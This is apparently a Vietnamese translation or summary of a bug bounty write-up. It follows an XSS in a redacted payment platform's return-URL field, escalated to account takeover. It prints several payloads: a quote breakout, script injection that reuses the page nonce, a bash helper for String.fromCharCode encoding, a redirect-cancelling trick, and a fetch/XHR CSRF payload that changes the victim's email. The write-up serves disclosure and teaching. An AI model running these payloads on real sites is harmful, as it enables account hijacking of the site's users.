The Setup
Lỗ hổng ban đầu được tìm thấy trong API dùng cho việc “brand’s payment processing” - là một API được dùng bởi customers (hoặc merchants) để xử lý các thẻ tín dụng hoặc giao dịch tài chính ở các nước. Công ty của ứng dụng là đa quốc gia nên nó cần phải xử lý nhiều loại giao dịch ở nhiều nước.
Một trong số những loại giao dịch là người mua sẽ đặt mua online với người cung cấp và lấy một mã duy nhất (giống QR) đem đến cửa hàng để giao dịch bằng tiền mặt. Khi cửa hàng confirm giao dịch, nhà cung cấp sẽ được trả tiền và khách hàng sẽ nhận được hàng hóa.
Luồng của giao dịch:
- Merchant khởi tạo giao dịch offline khi customer đặt hàng
- Merchant cung cấp cho customer một mã duy nhất để thanh toán
- (Offline): customer đem mã đến cửa hàng để trả tiền mặt
- Merchant được thông báo là giao dịch đã được thanh toán
- Merchant gửi một unique URL đến customer để confirm giao dịch.
The Payload
Attacker sẽ là merchant với khả năng tạo ra các offline transaction và submit một unique URL có chứa XSS payload mà sẽ được render ở website chính của app (chẳng hạn www.redacted.com
).
Merchange sẽ gọi GraphQL API sau để submit URL ở một domain khác (chẳng hạn payments.redactedtwo.com
) như sau:
POST /graphql HTTP/1.1
Host: payments.redactedtwo.com
...
{"query":"mutation {\n ...redacted...(input:{ ...redacted... \n
returnUrl: \"<payload here>\" ... }) ...
Sau khi submit thì payload sẽ được render ở www.redacted.com
như sau:
<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">
window.location.href = '<payload>?..dynamic url parameters...'
</script>
CSP có dạng như sau:
Content-Security-Policy:
default-src 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com;
script-src 'nonce-G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE' 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com;
img-src 'self' https:;
frame-src 'self' https://*.redacted.com https://*.redactedtwo.com https://*.qualtrics.com;
child-src 'self' https://*.redacted.com https://*.redactedtwo.com;
object-src 'none';
font-src 'self' https://*.redacted.com https://*.redactedtwo.com;
base-uri 'self' https://*.redacted.com;
form-action 'self' https://*.redacted.com;
upgrade-insecure-requests;
connect-src 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com https://*.qualtrics.com;
Nó khá là hạn chế.
Attempt 1: javascript://
Url
Do context là ở window.location.href
nên tác giả đã cố inject vào JavaScript scheme (chẳng hạn như javascript:alert(1)
). Tuy nhiên, dù không có WAF nhưng payload này không thành công do response có status code là 400.
Tác giả đã thử nhiều cách chẳng hạn như encoding, whitespace, etc. Lý do là vì API sẽ validate xem URL có https
ở đầu và chứa hostname kèm theo dấu slash ở cuối hay không. Ví dụ, https://hackerone.com/
sẽ được render ra sau:
<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">
window.location.href = 'https://hackerone.com/?...dynamic URL parameters...'
</script>
Như vậy, chúng ta có một lỗ hổng Open Redirect nhưng không thể dùng nó để khai thác XSS.
"Dynamic URL parameters" là các params chẳng hạn như transaction ID, thông tin về customer, etc.
Tác giả đã thử bỏ trailing slash và điều này dẫn đến các giá trị sau hostname sẽ bị URL encoded hoàn toàn, khiến cho payload hoàn toàn vô dụng để khai thác XSS.
Attempt 2: Trailing Payload
Tác giả cố tình escape context bằng dấu '
và may mắn là nó không bị encode cũng như là bị WAF chặn:
https://hackerone.com/';alert(document.domain);//
Payload này thực thi được JS và khi tắt pop up của alert thì trang web sẽ tự động redirect về URL đã được cung cấp.
Submission
Tác giả submit bug với severity là medium và triage team cho rằng không thể leo lên high do CSP và cookie settings đã được cấu hình chặt chẽ.
Next Step: Building the ATO Payload
Tác giả tiến hành xây dựng ATO payload mà thực hiện các bước sau:
- Trích xuất CSRF token bằng cách parse HTML response của lời gọi hàm
fetch
. - Gọi API để thay đổi email address sử dụng
XMLHttpRequest
.
Chú ý rằng attribute connect-src
(giúp giới hạn lại URL nào mà JS có thể gửi request đến) trong CSP khiến cho việc trích xuất thông tin từ một trang đến attacker’s domain sử dụng JavaScript là không thể (nên ta không thể trích xuất cookie). Dẫn đến, cách duy nhất để thực hiện ATO là CSRF.
Sau khi kiểm soát được email address thì có thể dùng tính năng “forgot password” để reset password và chiếm quyền kiểm soát tài khoản. Cookie (kể cả khi có HttpOnly
) vẫn có thể được gửi cùng với request cuối cùng bởi vì CSP cho phép (XHR request có origin là từ main site - www.redacted.com
- site mà payload được rendered).
Payload:
function decodeHtml(html) {
var txt = document.createElement("textarea");
txt.innerHTML = html;
return txt.value;
}
fetch("https://www.redacted.com/url/to/get/csrf/").then(r => r.text()).then(r => {
csrf_token = /data-token="([^"]*)"/.exec(r)[1]
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.redacted.com/api/to/change/email", true);
xhr.setRequestHeader("X-Csrf-Token", decodeHtml(csrf_token));
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
o=new Object(); ... other parameters ... o.email='<my_email_address>';
xhr.send(JSON.stringify(o));
})
Attempt 3: Rejection
Payload trên được submit nhưng payload không được rendered cùng với status code 400 trong response. Sau khi thử lại nhiều lần thì tác giả tìm thấy được các ký tự gây ra lỗi 400:
{}<>"[]
Cùng các ký tự khoảng trắng.
Và các ký tự sau không bị block:
()=.;/\
Attempt 4: Async
Tác giả cố gắng viết lại payload mà không bao gồm các ký tự bị block. Một trong số những payload có thể hoạt động được là:
https://hackerone.com/';fetch("https://www.redacted.com/url/to/get/csrf/").then(console.log);//
Có một vấn đề với hàm fetch
và XMLHttpRequest
: chúng là các API bất đồng bộ và cần cung cấp đối số vào hàm then
một anonymous function. Nếu không có ký tự {}>
thì không thể tạo ra một anonymous function trong JavaScript.
Attempt 5: One More Thing…
Theo tài liệu của JavaScript về Function
object, ta có thể gọi hàm Function(var,body)
để tạo ra một hàm từ một chuỗi (body
).
Tuy nhiên, CSP không cho thực thi eval
- là hàm mà Function
constructor sẽ gọi đến - bằng directive unsafe-eval
.
Attempt 6: A Different Approach
Tác giả sử dụng một cách tiếp cận khác:
- Sử dụng JS để tạo một node
<script>
mới. - Set nonce của script đó bằng nonce của node
<script>
đã có trên main site. - Tìm cách encode payload để có thể set
innerText
bằng payload mà không có bất kỳ ký tự đặc biệt nào. - Insert node
<script>
mới vào DOM.
Node <script>
mới sẽ được thực thi nếu page
Payload mới:
https://hackerone.com/';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText='alert(document.domain);';document.head.appendChild(s);;//'
Attempt 7: Special Character Avoidance
Để tạo ra encoded payload bằng cách sử dụng một chuỗi các String.fromCharCode
. Để tạo ra payload này, chạy lệnh sau:
(for i in `cat redacted_payload.txt | xxd -ps -c 0 | sed -e 's/\(..\)/\1\n/g'`; do echo "String.fromCharCode("$((16#${i}))")+"; done) | tr -d '\n'
Output có dạng:
String.fromCharCode(123)+String.fromCharCode(32)+String.fromCharCode(102)+String.fromCharCode(117)+
... repeating for many characters ...
Payload cuối cùng có dạng:
https://hackerone.com/';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'
Tuy nhiên, payload này không hoạt động.
Final Step: That Pesky Redirect
Nhớ rằng payload sẽ được render ở main site và sẽ được redirect. Việc redirect này sẽ khiến cho payload chưa được thực thi xong và nó cũng sẽ không đợi các hàm bất đồng bộ thực thi.
Tác giả đọc tài liệu của về behavior của location.href
và tìm ra hàm window.stop()
sẽ giúp ngăn chặn việc chuyển hướng.
Payload trở thành:
https://hackerone.com/';window.stop();s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'
Tuy nhiên, hàm window.stop()
cũng khiến cho fetch
và XHR
không thể được thực thi.
Tác giả sau đó có một giải pháp: khai báo location.href=foo://
để ghi đè giá trị trước đó của location.href
. Cách làm này giúp:
- Ngăn chặn việc chuyển hướng.
- Sinh ra một lỗi (không quan trọng).
- Cho phép
XHR
/fetch
được thực thi.
Final payload:
https://hackerone.com/';location.href='foo://a';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'
Conclusion
- Kiến thức về JavaScript (từ MDN reference) đôi khi sẽ rất hữu ích khi các payload thuần không hoạt động.
- Biết cách viết một script để xử lý text có thể giúp tiết kiệm thời gian.
- Là rất quan trọng trong việc biết rằng ta đang đi đến ngõ cụt và quay đầu để tìm ra giải pháp khác.